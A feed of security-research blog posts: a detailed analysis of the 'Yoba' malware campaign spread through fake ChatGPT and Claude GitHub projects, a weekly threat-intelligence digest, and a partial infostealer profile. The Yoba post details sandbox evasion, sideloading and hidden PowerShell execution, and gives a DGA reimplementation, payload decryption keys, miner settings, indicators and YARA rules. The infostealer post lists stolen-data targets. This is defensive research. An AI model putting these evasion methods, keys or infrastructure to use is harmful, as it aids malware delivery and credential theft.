❌

Reading view

Tricks from the Past deployed via signed ChatGPT and Claude binaries

Key Points

  • Check Point Research discovered a campaign we track as Yoba where attackers abuse the popularity of AI tools such as ChatGPT and Claude, creating fake GitHub projects that pretend to be desktop applications like GPT-5.6 Sol, GPT-6 Astra, and Claude Opus.
  • The malware is placed next to legitimate, signed executables from OpenAI and Anthropic so it can be loaded indirectly, a technique commonly known as DLL sideloading, which is often used to bypass security protections.
  • This campaign demonstrates strong operational security (OPSEC) by avoiding dedicated command-and-control (C2) infrastructure and instead relying on Telegram, Tor, Catbox, and DNS over HTTPS (DoH).
  • The actor behind the campaign shows indicators that suggest Russian origins and appears to operate primarily in the UTC-4 time zone.


Introduction

Over the past two months, we have been tracking a campaign that abuses the popularity of AI tools such as ChatGPT and Claude to spread a custom malware chain we call Yoba. The attackers use fake GitHub projects that pretend to be AI desktop applications like GPT-5.6 Sol, GPT-6 Astra, and Claude Opus. These projects look convincing and use real GitHub infrastructure, which helps them appear legitimate to potential victims. The website exhibits search-targeted content and suspicious installer-delivery tactics consistent with an SEO-poisoning lure.

Inside the installers, there is a malicious component we refer to as the YobaDropper. This dropper includes another component, the YobaLoader, which is responsible for contacting attacker-controlled infrastructure and fetching the final payload. In this report, we describe how victims are lured to these fake projects, how the YobaDropper and YobaLoader work together, and how the attackers ultimately use this chain to run unwanted software on infected systems.

Figure 1 — GPT-6 Astra campaign, attack chain.


GitHub Repositories

The initial access occurred via malicious GitHub repositories. The projects were impersonating ChatGPT and Claude related models, more specifically GPT-5.6 Sol, GPT-6 Astra, and Claude Opus. No manipulation of fake engagement (stars/forks) was in place.

Figure 2 — GitHub repository.

Aside from the repositories, GitHub.io pages were used to describe the capabilities of the software, while the malware was hosted as a release.

Figure 3 — GitHub.io page with links to malicious release.

These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub.

Figure 4 — Claude Opus GitHub[.]io page.

While the repositories do not show signs of fake engagement (such as artificially inflated stars or forks) that would promote them within GitHub’s own search, they still appear among the top results on Google. This is most likely due to SEO poisoning, where the attackers optimize titles, descriptions, and hosting domains to make their malicious projects rank highly in external search engines.

Figure 5 — Google Search results.

Each repository uses a different email address (edwardcarlsonmkym[@]outlook[.]com, daxschneiderdjuu[@]outlook[.]com, and rioprestonlfyx[@]outlook[.]com), and the uploader appears to operate in UTC+4, UTC-4, and UTC+3 respectively. This inconsistency likely reflects a deliberate attempt to obscure the threat actor’s true operational timezone.

Repositories’ initial commits:

Repository: /gpt-5-6/sol-free-desktop
==================================================
[2026-07-16T14:39:40Z] Author: gpt-5-6	
tree aebceccb0f3303806c35a73da865b684594487c1
author gpt-5-6 <edwardcarlsonmkym@outlook.com> 1784212780 +0400
committer GitHub <noreply@github.com> 1784212780 +0400

Initial commit
==================================================

Repository: /gpt-5-6/gpt-5-6.github.io
==================================================
[2026-07-16T14:44:31Z] Author: gpt-5-6	
tree 249dae41d64583a6a9ebcb60e3ad36d6216dd6e4
author gpt-5-6 <edwardcarlsonmkym@outlook.com> 1784213071 +0400
committer GitHub <noreply@github.com> 1784213071 +0400

Initial commit
==================================================

Repository: /opus-5-0/opus-5-0.github.io
==================================================
[2026-08-31T21:33:26Z] Author: opus-5-0	
tree 46ae1f147cf70d4df1471f0e9df46b654d11fe9c
author opus-5-0 <rioprestonlfyx@outlook.com> 1788212006 -0400
committer GitHub <noreply@github.com> 1788212006 -0400

Create readme.md
==================================================

Repository: /gpt-6-astra/gpt-6-astra.github.io
==================================================
[2026-09-04T22:56:13Z] Author: gpt-6-astra	
tree 028bfd4c1041dc1f030c9480a463366e6089e661
author gpt-6-astra <daxschneiderdjuu@outlook.com> 1788562573 +0300
committer GitHub <noreply@github.com> 1788562573 +0300

Initial commit
==================================================

Although the first repository was created around July 2026, the first two malicious releases were not uploaded until the end of August, and a third malicious release followed approximately five days later.

Release: /gpt-5-6/gpt-5-6.github.io/releases/tag/v5.6.0
[2026-08-30T19:15:44Z] gpt-5-6 Uploaded sol-setup.zip (application/zip) (269)
==================================================

Release: /opus-5-0/opus-5-0.github.io/releases/tag/Release_v5.0.0
[2026-08-31T21:38:13Z] opus-5-0 uploaded Setup-Claude.zip (application/zip) (82)
==================================================

Release: /gpt-6-astra/gpt-6-astra.github.io/releases/tag/Astra
[2026-09-04T23:14:11Z] gpt-6-astra Uploaded GPT-6-Astra-Setup.zip (application/zip) (352)

Malicious zip files hosted on GitHub and other legitimate platforms are usually password-protected, since this prevents automated tools from unpacking and therefore analyzing them. However, neither of these repositories used password protection, as the binaries already had very low detection rates thanks to their anti-sandbox and other anti-analysis techniques.

Figure 6 — Low detection rate.

While the two ChatGPT-related releases and their repositories were created about five days apart, the ZIP files contain mostly the same files, including the malicious components, and they maintain the same IoCs.

Filenamesol-setup.zip (ChatGPT)GPT-6-Astra-Setup.zip
151.0.7922.174.manifest2026-08-30 15:11:18N/A
D3dx9_41.dllN/A2021-10-18 17:58:06
owl-shell-runtime.json2026-08-30 15:11:182026-08-30 15:11:18
Setup.exe2026-08-30 15:11:182026-08-30 15:11:18
snapshot_blob.bin2026-08-30 15:11:182026-08-30 15:11:18
v8_context_snapshot.bin2026-08-30 15:11:182026-08-30 15:11:18
vk_swiftshader.dll2026-08-30 15:11:182026-08-30 15:11:18
vk_swiftshader_icd.json2026-08-30 15:11:182026-08-30 15:11:18
vulkan-1.dll2026-08-30 15:11:182026-08-30 15:11:18
winmm.dll2026-08-30 15:14:202026-08-30 15:14:20

By adding the compilation timestamps to this these time-related operations, we are able to determine which files appear to contain the malicious functionality without performing any initial analysis.

FilenameCompilation Timestamp (UTC)
D3dx9_41.dll2076-06-18 21:48:40
Setup.exe2026-08-19 20:00:27
vk_swiftshader.dll2026-08-19 20:00:27
vulkan-1.dll2026-08-19 20:00:27
winmm.dll2026-08-30 19:14:19

The file that immediately stands out is winmm.dll, which was compiled the same day it was added to the ZIP archive. This suggests it is the component with the malicious functionality, while the other files serve to make the package appear legitimate. The compilation timestamp also indicates the actor is operating in the UTC-4 timezone.

Furthermore, Setup.exe, a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL. The Setup-Claude.zip file contains the same structure, though in this case Setup.exe is a legitimate signed Claude executable.

Figure 7 — Signed OpenAI and Anthropic binaries.


YobaDropper – winmm.dll

The malicious DLL contains multiple export names, suggesting that the legitimate winmm.dll has been spoofed. As in many other cases, these exports exist but their code has been stripped out, leaving them mostly empty and reducing the size of the binary.

Figure 8 — Stripped code from exports.

All 180 exports contain just a return instruction (C3) followed by NOPs (90), and DllEntryPoint is the only one containing actual code.


Anti-Analysis, Pre-Checks

The first function implements an anti-sandbox technique: the malware hashes the basename of its host executable and checks whether the checksum matches the hardcoded value 0xE6C2F326. The hashing algorithm has been identified as DJB2, which other malware families have also used in the past. The malware expects to run under the name Setup.exe, so this check fails if the DLL is executed on its own inside a sandbox environment.

Figure 9 — DJB2 algorithm and hash check.

Although a failed check does not terminate the process, the DLL performs 200,000 iterations of Sleep(5500), amounting to approximately 12.73 days, while repeatedly appending the decoded filler string pddy to a local UTF-16 buffer.

In the second function, the malware checks whether the infected user is located in a CIS country by inspecting the system’s keyboard layout. Ukraine was historically included in such checks, but it is not in the list used by recent malware.

The language check is unusual. Instead of comparing the victim’s keyboard language ID against hardcoded values, the malware checks whether the ID falls within the range 0x19–0x44. For IDs in that range, it tests the corresponding bit in the bitmask 0xEC0400C8401 to determine whether the language belongs to a CIS-region country, with an explicit exception for ID 0x22 (Ukrainian). Bazarloader has used a similar technique in the past, with the bitmask 0xD8080190C03.

Figure 10 — Language checks.

Language IDs excluded from the infection:

RussianBelarusianTajik
ArmenianAzerbaijaniGeorgian
KazakhKyrgyzTurkmen
UzbekTatar

The malware continues to resolve Windows API functions dynamically from kernel32.dll and ntdll.dll by comparing hashes of the exported function names. The hashing algorithm is again DJB2, with the initial value 0x1505.

The last check before the malware unpacks and deploys the embedded payload tests whether the process is running with administrator privileges. If it is not, the malware displays the message “Please run this program as Administrator.” to the victim and terminates itself, requiring the user to rerun it with elevated privileges.


Deploying Phase

The dropper contains multiple XOR-encrypted strings that are decrypted when needed. These strings include the file paths where the embedded binaries are dropped, as well as the decryption keys.

It creates a directory under ProgramData named WMProcess. Then it copies the original WMPDMC.exe from System32 into this newly created folder. Next, it decrypts the embedded payload using the string IRANNUMBERONE as the XOR seed and drops the decrypted payload in the same folder under the name wmpdui.dll.

Using scheduled tasks, the dropper maintains persistence by leveraging the legitimate executable, which will sideload the malicious payload. To make the task appear legitimate, it sets the author to Microsoft Corporation and the description to Collects device metadata for Windows Media Player.. It also sets the boot-trigger delay to PT3M, which corresponds to a 3-minute delay after system startup, and configures the task to run under the Local System account (S-1-5-18).


YobaLoader – wmpdui.dll

The second-stage payload contains the same code as the dropper, which indicates that the same developer is responsible for both components.

The same anti-sandbox technique is used, forcing the malware to be run only by WMPDMC.exe. It again checks the hash of the process basename, and only continues execution if this value matches the hardcoded hash 0x552751E3.

The dropper uses the DJB2 hashing algorithm to hash and verify the process name and to resolve Windows API functions, both with the same seed 0x1505. The loader (YobaLoader) also uses DJB2 for the process name with the same seed as the dropper, but for resolving Windows API functions it uses a different seed, 0x1DEB.

Figure 11 — Hashing windows API functions.

The developer reused the same string-hashing algorithm but changed the seed (0x1505 in the dropper, 0x1DEB in the loader) to separate the hash spaces for each stage, complicating analysis, and reducing the effectiveness of hash-based detection and automated tooling.


Network

The downloader uses an interesting process to obtain the next-stage payload. It first decrypts multiple strings using a simple XOR operation, among these strings is the URL of a Telegram channel, t[.]me/yoba_fanclub. It then visits this channel using the user-agent string Mozilla/5.0 (Windows NT 10.0; Win64;) and parses the HTML source to extract the src URL of the element with the class tgme_page_photo_image. This class refers to the location where the channel’s profile image is hosted.

Figure 12 — Telegram channel.

It downloads the image and uses the last 50 bytes as a seed to generate a domain based on three lists of dictionary words, which are decrypted as part of the DGA algorithm. This DGA algorithm uses three sets of strings:

  1. Adjectives
  2. Nouns
  3. Verbs

Finally, it generates and appends an integer value in the range 0–999. The generated domain has the following format, "$adjective-$noun-$verb-$digit.dedyn[.]io". By changing the image of the Telegram channel, a new domain can be generated.

The following Python snippet represents the DGA algorithm:

"""
Author: @Tera0017/Check Point Research
"""
from pathlib import Path
import sys

ADJECTIVES = [
    "silver", "amber", "wild", "tiny", "brave", "lucky", "calm",
    "sharp", "swift", "bright", "quiet", "bold", "gentle", "fierce",
    "royal", "mystic", "username", "degenerate", "allblack", "kizta",
    "graf",
]
NOUNS = [
    "tiger", "river", "stone", "cloud", "wolf", "ocean", "forest",
    "mountain", "eagle", "raven", "ember", "comet", "fox", "dragon",
    "piano", "viper", "yoba", "yyoba", "static", "cpp", "example",
]
VERBS = [
    "runs", "jumps", "sings", "sleeps", "flies", "hunts", "burns",
    "floats", "shines", "whispers", "roars", "dreams", "strikes",
    "glides", "watches", "hides", "duty", "free",
]

FNV_MULTIPLIER = 0x1000193
MASK64 = 0xFFFFFFFFFFFFFFFF

def hash_bytes(data: bytes, seed: int) -> int:
    value = seed
    for byte in data:
        value = ((value ^ byte) * FNV_MULTIPLIER) & MASK64
    return value

def generate_domain(image_path: str) -> str:
    image = Path(image_path).read_bytes()
    if len(image) < 50:
        raise ValueError("Image must contain at least 50 bytes")

    tail = image[-50:]

    adjective = ADJECTIVES[hash_bytes(tail, 0x811C9DC5) % len(ADJECTIVES)]
    noun = NOUNS[hash_bytes(tail, 0xAF0154A5) % len(NOUNS)]
    verb = VERBS[hash_bytes(tail, 0xFE5439E4) % len(VERBS)]
    number = hash_bytes(tail, 0xFFA7471A) % 1000

    return f"{adjective}-{noun}-{verb}-{number}.dedyn[.]io"

if __name__ == "__main__":
    image_file = sys.argv[1]
    print(generate_domain(image_file))

It then queries Google’s DNS-over-HTTPS (DoH) API to obtain an encrypted command from a DNS TXT record, using a URL of the form https://dns[.]google/resolve?name=$DGA&type=TXT.

By relying on a DoH service and common file-hosting platforms, the actor aims to bypass passive DNS monitoring and some gateway-based security protections, making their command-and-control traffic harder to distinguish from regular user activity.

Figure 13 — DNS TXT record, base64 encoded data.

It decodes the Base64-encoded data field from the JSON response and validates it using Ed25519 signature verification with the public key b5c2d20623d4e6647d06a42864edd8629f82c5c384b243fdaeeeca24b3873d64. Once the signature validation succeeds, it decrypts the decoded value using AES in ECB mode with the key 1d0d1368b4d53f3a6322cf40e84e63db.

Decrypted response: 1https://files.catbox[.]moe/z5zpy9.dat

The downloader retrieves the encrypted payload and decrypts it using the same AES key and ECB mode that were previously used for the DNS data.

The malware provides three methods for deploying the downloaded payload. The selected method is indicated by the first character of the decrypted response that follows the URL (1/2/3):

  1. Injects the downloaded payload into svchost.exe (NtWriteVirtualMemory/NtCreateThreadEx). It enumerates running processes and, using the hashing algorithm with the seed 0x1DEB, searches for the hash value 0xC26CDEA5, which corresponds to svchost.exe.
  2. Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.exe file and executes it. Before running the executable, the downloader removes the Zone.Identifier alternate data stream, which is hidden metadata used by Windows to track the origin of downloaded files.
  3. Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.ps1 PowerShell script and invokes it with the following parameters: -WindowStyle Hidden -ExecutionPolicy Bypass -File.

Finally, the injected payload into svchost.exe is an XMRig 6.26.0 miner with a hidden command line targeting a TLS-enabled onion mining endpoint through a local Tor SOCKS5 proxy. It can unpack and start Tor 0.4.9.12 plus lyrebird 0.8.1, monitor user-input activity to pause mining, and conditionally load the WinRing0 driver service for MSR-based mining optimization.

FieldValue
Mining server3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443
Pool password/tokendcde1f56048fa18657dc4820397592f7
TLSEnabled (--tls)
Proxysocks5://127.0.0[.]1:9550
Donation level0
CPU thread hint85%
User-active pauseResume after 240 seconds idle
Singleton mutexLocal\WindowsSecurity
Tor data directory%TEMP%\torbundle\data
Tor bridge 1obfs4 51.89.231[.]85:24526 A44162645CEAA39C7106C49A3F36FD99FF8D8A00 cert=cVNRBh1enpvEGxA0ouu568EDFhWPl9taldydYgiJk77OX4MzoYIRz3qx4q7yHL5bRN60Gg iat-mode=0
Tor bridge 2obfs4 51.89.228[.]250:21668 BA8BD67D8898CF378D4F73821DEB5657F4BB98DF cert=bEpLLgOwJ9fOJbeHb5r+ronUF2ck5nRd0Jl3zuy7rLoUp732QK2p/CUHjTAfBPCGfcVtSA iat-mode=0

Although we observed an XMRig cryptominer as the final payload in this campaign, the YobaLoader is a generic loader. The operator can supply any PE or PowerShell payload via the signed DNS TXT tasking, so future waves may deliver different malware families.


Past Yoba Versions

Yoba exposes, through the same hashing algorithm it uses for anti-analysis, the specific process name under which it expects to run. Even without having full visibility into the campaign from the very beginning, analysts can still infer which targeted software was used to lure users by correlating this expected process name with the fake AI applications promoted on the associated GitHub repositories and GitHub Pages sites.

HashProcessProduct
0xE6C2F326Setup.exeChatGPT & Claude Opus
0x56221573Cursor.exeCursor AI Coding Agent
0x39DE0DD8UnknownUnknown

Earlier YobaDropper observed in the wild appeared in early June 2026. In this campaign, the dropper was sideloaded by a process named Cursor.exe (hash: 0x56221573). It remains unclear whether Cursor.exe was a legitimate signed binary. The majority of the functionality in this early variant is consistent with the newer versions of both the dropper and the loader.

YobaDropper shows two main differences between its older and newer versions:

  1. Unpacking logic: In the oldest version, the buffer is first Base64-decoded and then XOR-decrypted to extract the YobaLoader. In the newer version, the developer removed the Base64-decoding step and performs only XOR decryption, simplifying the unpacking process.
  2. Execution method: The second change concerns how YobaLoader is triggered. The newer version uses Scheduled Tasks to start the copied legitimate host and sideload the loader, whereas the first discovered version creates the shortcut msdefender_scheduler{7940-8490-6670-1081}.lnk in the Startup folder. This shortcut executes a copied %APPDATA%\Microsaft Difendir\msdtc.exe and sideloads %APPDATA%\Microsaft Difendir\mswsock.dll.

Earlier version of YobaLoader contains language checks and excludes only Russia from infection. In later versions, these checks were moved to the dropper stage and expanded to exclude additional CIS countries, shifting regional filtering earlier in the infection chain.

Figure 14 — Exclusion of Russian language from infection.

While the overall DGA logic remains the same, the early variant uses the extension .aber[.]ir instead of .dedyn[.]io. In addition, instead of injecting into svchost.exe, this variant injects into a different running process identified only by its hashed name 0x21BD94C2.

The initial loader also implements several anti-analysis techniques that have been removed from the newer versions of the malware:

1. Anti-debugging
It enumerates all kernel object types and reads their TypeName values. Each type name is hashed using DJB2 with the seed 0x1DEB until the hash matches 0xCF9EE149, which corresponds to DebugObject. If a DebugObject is found, it indicates that a debugger is or was active, and in that case the malware terminates itself.

Figure 15 — DebugObject via NtQueryObject-ObjectAllTypesInformation.

2. Anti-VM
The malware uses a VM/sandbox-detection scoring function while running several hardware fingerprinting checks. The maximum score is 6, and the minimum required to continue the infection chain is 3. The checks include:

  • Hypervisor-present bit and CPUID timing (via RDTSCP).
  • Hypervisor vendor signature string (CPUID leaf 0x40000000).
  • CPU brand string sanity checks (CPUID leaves 0x80000002–0x80000004).
  • SMBIOS-based firmware fingerprinting (GetSystemFirmwareTable–RSMB)
Figure 16 — Hypervisor vendor signature string technique.

Despite these small differences in early anti-analysis behavior, the Telegram channel and the profile image used as the seed for the DGA remain the same as in the newer variants, indicating that the operator retained the same infrastructure while iterating on the loader’s evasion logic.


Conclusion

The Yoba campaign shows how attackers can use trusted platforms and the current interest in AI tools to distribute malware in a way that looks believable and harmless at first glance. By packaging their code together with well-known software names and hosting it on GitHub, they lower the chances that users or basic security checks will immediately flag the files as suspicious.
Although the underlying techniques are more advanced than typical commodity malware, the main goals remain straightforward: gain a foothold on the victim’s system, avoid easy detection, and then run the attacker’s chosen payload. Organizations should be cautious about installing “AI helpers” or similar tools from unverified repositories and should enforce policies that restrict running software from unknown sources. Combining user awareness with basic technical controls.


Indicators of Compromise

DescriptionValue
GitHub pagesgithub[.]com/gpt-5-6/sol-free-desktop
gpt-5-6.github[.]io
github[.]com/gpt-5-6/gpt-5-6.github.io
github[.]com/gpt-6-astra/gpt-6-astra.github.io
gpt-6-astra[.]github[.]io
opus-5-0[.]github[.]io
github[.]com/opus-5-0/opus-5-0.github[.]io
ZIP Files332e3b685e375aa44a5ec98511fc53be821df46a
c2b986704406d47dd88ee4e2fcffebc854ff2ce4
Signed OpenAI & Anthropic binaries163c81187d8024123912c3c12d905fd5210afcb3
65a3ac8f341ae04982005fd2c4e83627a68793a3
YobaDropper17e8639a00bb32b10cb9cf0d292e9441456ce4bb
20238b36645fc63139a76b19a480c6a9166472fa
4ea5b71202b69fc27b06ef9ee3f6f51d6f7b8586
60aece343959a2e1840f6aaeffa38b73ed21af2c
8777db31d8df78f36e4544a132d843dfb2a0f026
YobaLoader22661f4bada8167fa0f410b75e53184998990abb
2ecb5548e9774a3d05e8669e8414dcc366929b79
3fef1af3664429e621d3e0f9408cb5102ef02b84
55043ea6d102670c014e2be5a8197e70b7c201cb
79e87a6df59d68b2dbd2c43950df5663d671007c
7dfcee02732ed89f1ddf25d1689863c26de3df15
bead5748d813a9828ddb7603a32e52aa15349768
cf90c4599257e76984a199d98b1fd082b820a54d
eeedc5c9007d7f01808285e0ae0c0b451bdba003
Telegram imagee7c0e981f81447892995d01ed986c0b462a6f0c5
Telegram Channelt[.]me/yoba_fanclub
DNSdns[.]google/resolve?name=calm-piano-floats-313.dedyn[.]io&type=TXT
ITW URLfiles.catbox[.]moe/z5zpy9.dat
Encrypted Payload7467b6980440ec27c4e0a8d940672c9f24e14216
Payload XMRIGea16728f6928dc77deaddee74a6e736dd5f24fc5
XMRIG Endpoints3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443
51.89.228[.]250:21668
51.89.231[.]85:24526


Yara Rules

rule yoba_dropper
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "YobaDropper"
    strings:
        $code1 = {00 BB 40 0D 03 00 B9 7C 15 00 00 FF D6 31 C0}
        $code2 = {BA 05 15 00 00 0F BE 08 84 C9 74 0A 6B D2 21}
        $code3 = {53 B9 75 EE 40 70 48 83 EC 20}
        $code4 = {BA 5C CD 17 E5 48 89 C1 E8 73 00 00 00}
        $code5 = {0F C8 89 C0 4? 39 ?? 74 1? (49 0F AF C0| 48 69 C0 ?? ?? ?? ??) (4C 01 C8| 48 05 ?? ?? ?? ??) 49 89 C? 49 C1 E? 18 45 30 [2] 4? FF ?? EB}
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule yoba_loader
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "YobaLoader"
    strings:
        $code1 = {B9 80 A8 12 01 FF ?? ?? E9}
        $code2 = {BA EB 1D 00 00 0F BE 08 84 C9 74 0A 6B D2 21}
        $code3 = {B9 5B 80 EF B7 E8}
        $code4 = {BA F5 8B 2E F2 48 89 C1}
        $code5 = {B5 C2 D2 06 23 D4 E6 64 7D 06 A4 28 64 ED D8 62 9F 82 C5 C3 84 B2 43 FD AE EE CA 24 B3 87 3D 64}
        $code6 = {1D 0D 13 68 B4 D5 3F 3A 63 22 CF 40 E8 4E 63 DB}
        $code7 = {40 80 FE 32 74 42 40 80 FE 33 74 66 40 80 FE 31}
        $code8 = {41 81 F8 A5 DE 6C C2}
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

The post Tricks from the Past deployed via signed ChatGPT and Claude binaries appeared first on Check Point Research.

  •  

26th October – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 26th October, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Japanese cloud hosting provider Onamae Desktop Cloud has confirmed a cyberattack in which intruders compromised its infrastructure and installed malware on customer servers. More than 26,000 servers were potentially affected. The provider began shutting down customer environments on October 21 to contain the intrusion and prevent further unauthorized activity.
  • India’s state-run State Bank of India, serving more than 500 million customers, disclosed a data breach after 3,897 customer records appeared online. The exposed information reportedly included contact details, residential addresses, birth dates, bank profiles, loan records, and identity-verification documents. The bank reported no disruption to core services.
  • WordPress backup developer TeamUpdraft has suffered a cyberattack after intruders accessed its website and potentially exposed customer information and management-service connection keys. Attackers subsequently abused compromised UpdraftCentral keys to install backdoors on WordPress websites during an 18-hour campaign on October 18 and 19.
  • LiteLLM, a widely used open-source AI gateway, confirmed an October 21 supply-chain attack in which attackers used stolen developer tokens to publish malicious packages and Docker images. The compromised version 1.107.0 was designed to steal cloud credentials and AI service secrets, with attackers subsequently testing stolen AWS credentials.

AI THREATS

  • Check Point Research uncovered how AI-enabled antidetect browsers allow operators to manage thousands of deceptive accounts while evading platform safeguards. Tools including Kameleo, AdsPower, and MultiLogin facilitate account takeovers, financial fraud, and automated distribution of AI-generated content, supporting large-scale influence operations across social media platforms.
  • Researchers observed affiliates of INC and The Gentlemen ransomware groups using AI agents to conduct human-approved cyberattacks. The operation targeted 62 organizations by exploiting remote-access systems and compromised credentials. Victims were concentrated in the manufacturing, energy, healthcare, and pharmaceutical sectors, primarily in the United States.
  • Researchers analyzed a cybercriminal operation that used multiple AI assistants to plan and execute different types of malicious activity. The attacker relied on AI-generated scripts and reconnaissance reports to develop attack capabilities. Exposed operational records revealed how AI tools supported campaign planning, technical execution, and adaptation across different targets.

VULNERABILITIES AND PATCHES

  • Critical PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619 have been used in widespread exploitation attempts that could enable remote code execution. Attack traffic reportedly increased from thousands to millions of attempts following disclosure. As of October 23, approximately 97.5% of publicly visible PHP instances did not indicate patched versions.

Check Point IPS provides protection against this threat (PHP Remote Code Execution (CVE-2026-109618, CVE-2026-109619, CVE-2026-115560((

  • Oracle has released its October 2026 Critical Patch Update, addressing 1,209 unique vulnerabilities through 1,295 security patches across 33 product families. The update includes 95 critical CVEs and affects widely deployed enterprise products, including Fusion Middleware, E-Business Suite, MySQL, and Java SE.
  • GitLab has fixed CVE-2026-110264, a critical vulnerability with a CVSS score of 10.0 affecting Community and Enterprise Editions. The integer overflow flaw could allow unauthenticated attackers to execute arbitrary code remotely on affected servers. The vulnerability affects versions before 18.11.13 and several 19.x releases.
  • A critical privilege-escalation vulnerability, CVE-2026-114625, affects on-premises Arista VeloCloud Orchestrator deployments. The flaw carries a CVSS score of 9.4 and allows authenticated users, including those with read-only access, to obtain operator-level permissions. Successful exploitation can expose restricted management functions, and the vulnerability has been exploited in attacks.

THREAT INTELLIGENCE REPORTS

  • Check Point Research has profiled Aokigahara, a newly identified infostealer targeting credentials and session data associated with AI applications, developer tools, and cloud platforms. Targeted applications include Claude, ChatGPT Desktop, Cursor, and GitHub Copilot. Stolen information may include authentication tokens, account credentials, and other sensitive application data.
  • Researchers revealed that U.S. federal investigators suspect an executive at a ransomware negotiation company assisted the ShinyHunters extortion group in operating its victim disclosure website. The site reportedly listed nearly 100 organizations between May and October 2026.
  • Researchers mapped Lazarus’s Operation FlashHole, a cyberespionage campaign targeting organizations in South Korea’s software, construction, and telecommunications equipment sectors. Attackers used tailored phishing messages and fraudulent portfolio websites to deliver malware. The campaign exploited trusted financial-security software to execute malicious components.
  • Researchers have uncovered a large-scale campaign by threat actor k0t targeting Fortinet FortiGate, FortiWeb, and Palo Alto Networks GlobalProtect devices. Attackers exploited vulnerabilities and weak credentials to establish persistent access and steal information. The operation exposed more than 70,000 credentials and showed possible connections to ransomware groups.

The post 26th October – Threat Intelligence Report appeared first on Check Point Research.

  •  

Infostealer riding the AI Train

Key Points

  • Aokigahara, a newly observed infostealer, has been spotted in the wild. An earlier version may have been known as Kamidere or Stygian. The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets.
  • AI applications and development tools are notable targets. The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
  • Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts.
  • Its collection scope extends to developer and cloud environments. Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.


Introduction

Infostealers commonly target browser passwords, session cookies, and cryptocurrency wallets. This malware combines those established capabilities with dedicated collection routines for AI applications and development tools. Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.

This expanded targeting reflects a broader shift in what attackers may consider valuable, not only personal accounts and financial data, but also access to AI services and the environments developers use to build software. Valid credentials or session tokens could expose private conversations and development data, enable unauthorized use of paid services, or potentially be sold to provide access to compromised AI accounts. While the malware’s collection routines support these possibilities, the analysis does not confirm how its operators monetize the stolen data.


Stealer Capabilities and Targeted Applications

The Aokigahara infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing. It also includes a clipper handler that drops a separate component for clipboard manipulation.

The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft. Additional targets include password managers, VPN clients, FTP/SFTP clients, email applications, and AI development tools. The table below summarizes each handler, its targets, and any limitations identified during the analysis.

The table below lists the malware’s main capabilities and their corresponding internal function names.

FunctionWhat the handler targets
sysinfoThe machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
screenshotCaptures the screen as Screenshot.jpg.
clipboardCaptures clipboard contents into Clipboard.txt.
browsersChromium-based browser profiles. The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza. The handler collects browser profile data, including saved login data and cookies.
firefoxMozilla Firefox profiles: saved logins (logins.json, decrypted through NSS), key database, and cookies.
walletsDesktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket. It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
discordDiscord’s Local Storage LevelDB files, looking for token-like strings. Output path: Messengers/Discord/Tokens.txt.
telegramTelegram Desktop’s tdata directory.
steamSteam configuration and login-related files: loginusers.vdf, config.vdf, and ssfn* files.
outlookMicrosoft Office Outlook profiles. The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.
vpnOpenVPN configs (*.ovpn), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (*.conf/*.json).
ftpFileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions. The code formats output with host, username, and password fields.
passmanKeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.
gamingRoblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data.
filegraberFiles from the user’s Desktop, Documents, and Downloads, placed under Files/Documents or Files/Crypto. The handler applies configured matching criteria; I haven’t confirmed the full extension/filter list.
thunderbirdMozilla Thunderbird profile files, archived under Mails/Thunderbird/....
websessionsChromium browser local/session storage, which can contain web-application session data. The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium.
discordforksDiscord-derived/modded clients: token-like data from their LevelDB files and files such as settings.json, config.json, storage.json, and state.json. The exact client names come from a separate table I haven’t resolved here.
